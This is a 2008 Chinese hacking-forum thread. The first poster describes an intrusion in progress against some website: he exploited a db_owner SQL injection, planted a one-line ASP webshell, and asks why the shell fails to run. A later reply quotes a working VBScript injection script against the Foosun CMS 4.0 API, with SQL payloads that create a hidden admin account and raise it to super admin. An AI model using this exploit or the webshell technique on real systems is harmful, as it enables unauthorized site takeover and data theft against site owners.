[讨论]入侵时遇到的阻碍

讨论

[讨论]入侵时遇到的阻碍
议题作者：落叶纷飞
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

刚在搞一个站，找到了一个db_owner的注入点，能列目录

找到WEB目录后，我马上备份了一句话到WEB目录

但是在备份出来的一句话却提示如下：

Active Server Pages 错误 'ASP 0116'

丢失脚本关闭分隔符

/admin/r.asp，行 66

Script 块缺少脚本关闭标记(%>)。

请问是不是过滤了“%>”啊？还是别的原因？该怎么解决啊？小鸡鸡重出江湖了~~！！
帖子119 精华0 积分3244 阅读权限100 性别男在线时间143 小时注册时间2007-7-31 最后登录2008-7-18 查看详细资料引用报告回复 TOP 少女暴富的隐秘（图）

dingking

荣誉会员

dongdg

3.A.S.T士兵

Rank: 1

帖子: 33
积分: 50
威望: 66
金钱: 65
在线时间: 0 小时

2楼

发表于 2008-7-20 18:02 | 只看该作者

EST上貌似有过讨论的帖子。你自己找找看吧。~~

昨天是明天的前天今天是昨天的明天明天是昨天的后天 ╰o╯╰o╯
帖子741 精华2 积分4784 阅读权限100 性别男在线时间756 小时注册时间2005-6-17 最后登录2008-7-18 查看详细资料引用报告回复 TOP 赚更多的钱

xyf1987

晶莹剔透§烈日灼然

TOP

p-o-t

3.A.S.T士兵

Rank: 1

帖子: 31
积分: 47
威望: 62
金钱: 61
在线时间: 0 小时

3楼

发表于 2008-7-20 18:02 | 只看该作者

兄弟，借个地方发帖求助。
我很菜啊。请教大家：
这样的代码如何编译利用？？
引用:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 By Tr4c3[at]126[dot]com
Dim strData, strUrl, strGetinfo, xPost
strData = "<body><userip>999.999.999.999</userip><email>body@baidu.com</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>FoosunCMS</appid><username>'</username></body>"
strUrl = "http://demo.foosun.net/api/API_Response.asp"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "POST", strUrl, False
xPost.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
xPost.SetRequestHeader "Referer", strUrl
xPost.send(strData)
'strGetinfo = xPost.ResponseText
strGetinfo = bytes2BSTR(xPost.ResponseBody)
Wscript.echo(strGetinfo)
Wscript.Quit
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 将返回内容转换成简体中文
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem ';insert into FS_MF_Admin (Admin_Name,Admin_Pass_Word)values('Tr4c3','83aa400af464c76d')-- 添加一个普通管理员Tr4c3,密码12345678
Rem ';update FS_MF_Admin set Admin_Is_Super=1 where Admin_Name='Tr4c3'-- 把Tr4c3提升为超级管理员
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
帖子17 精华0 积分64 阅读权限40 在线时间19 小时注册时间2006-5-24 最后登录2008-7-17 查看详细资料引用报告回复 TOP 软件项目外包

magickingdom123

晶莹剔透§烈日灼然

TOP

下眩月